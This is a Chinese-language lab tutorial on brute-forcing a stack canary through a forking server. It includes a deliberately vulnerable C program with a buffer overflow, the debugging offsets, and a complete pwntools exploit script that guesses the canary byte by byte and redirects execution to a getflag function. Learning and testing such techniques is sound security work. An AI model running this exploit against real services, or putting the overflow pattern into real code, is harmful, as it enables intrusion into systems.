通过fork进程爆破canary
1.1.1 通过fork进程爆破canary
⑴.原理分析:
对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。
⑵.环境准备:
i.存在格式化字符串漏洞的程序:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}
ii.测试环境:
测试平台linux debian 7
攻击脚本编写模块:pwntools。
辅助调试插件:gdb-peda
iii. 编译命令:
gcc -m32 -q -z execstack -fstack-protector-all -o fork_canary fork_canary.c
⑶.调试分析:
i. 查看保护机制:
可以看到只开启了canary保护机制。
ii.找到存在缓冲区溢出漏洞的函数的canary值地址:
Canary位于:[ebp-0xc]=0xffffd28c。
iii. 找到缓冲区起始地址:
缓冲区起始地址:0xffffd228。
iv.确定返回地址:
Ret address = 0xffffd29c
⑷.攻击过程:
i.攻击思路:因为canary的值的第一个字节总是0x00,所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果“welcome\n”,否则程序崩溃,通过穷举就能爆破处正确的canary值。
ii.得到getflag函数的地址:
iii.计算缓冲区大小:
由上面的调试分析可知:
缓冲区大小等于缓冲区结束的地址0xffffd28c - 0xffffd228 = 100(字节)。
iv.编写攻击脚本:
from pwn import *
context.log_level = 'debug'
cn = process('./fork_canary')
cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break
cn.sendline('a'*100 + canary + 'a'*12 + p32(0x5655573d))
flag = cn.recv()
cn.close()
log.success('flag is:' + flag)
运行攻击脚本:
成功爆破。